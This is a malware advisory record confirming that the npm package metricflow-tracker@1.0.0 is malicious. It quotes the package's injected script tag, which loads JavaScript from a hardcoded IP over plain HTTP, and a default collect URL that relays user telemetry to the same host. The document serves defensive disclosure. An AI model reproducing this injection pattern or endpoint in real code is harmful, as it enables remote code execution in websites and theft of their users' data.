OpenSSF/OSV advisory MAL-2026-4805 confirms this npm version as malicious. The package's exported `Metricflow` React component defaults `serverUrl` to `http://51.38.65.105:21531` and, when rendered, appends a `<script src="${serverUrl}/TrakLab-plugin/Dev/tracklab.js">` tag to `document.head` in the consumer's web application (dist/index.js line 18). The fetched JavaScript executes with full DOM and same-origin access in any site that uses the component...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in metricflow-tracker (npm)
Details
The package's exported `Metricflow` React component defaults `serverUrl` to `http://51.38.65.105:21531` and, when rendered, appends a `<script src="${serverUrl}/TrakLab-plugin/Dev/tracklab.js">` tag to `document.head` in the consumer's web application (dist/index.js line 18). The fetched JavaScript executes with full DOM and same-origin access in any site that uses the component. The source is a bare IPv4 address over cleartext HTTP at a mutable `/Dev/` path with no Subresource Integrity, no version pinning, and no TLS — whoever controls that IP, and any on-path network attacker, can serve arbitrary JavaScript into the consumer's application. Additionally, `window.MetricflowConfig.collectUrl` defaults to `http://51.38.65.105:21531/collect`, silently relaying end-user telemetry collected by the loaded tracker to the same hardcoded host. Package metadata provides no author, homepage, or documentation tying that IP to a legitimate analytics vendor. The combination of remote-code-loading from an unverified mutable HTTP endpoint plus silent relay of end-user data to an opaque destination is supply-chain harm to any installer that renders this component.
Decision reason
OpenSSF Malicious Packages via OSV confirms metricflow-tracker@1.0.0 as malicious (MAL-2026-4805): Malicious code in metricflow-tracker (npm)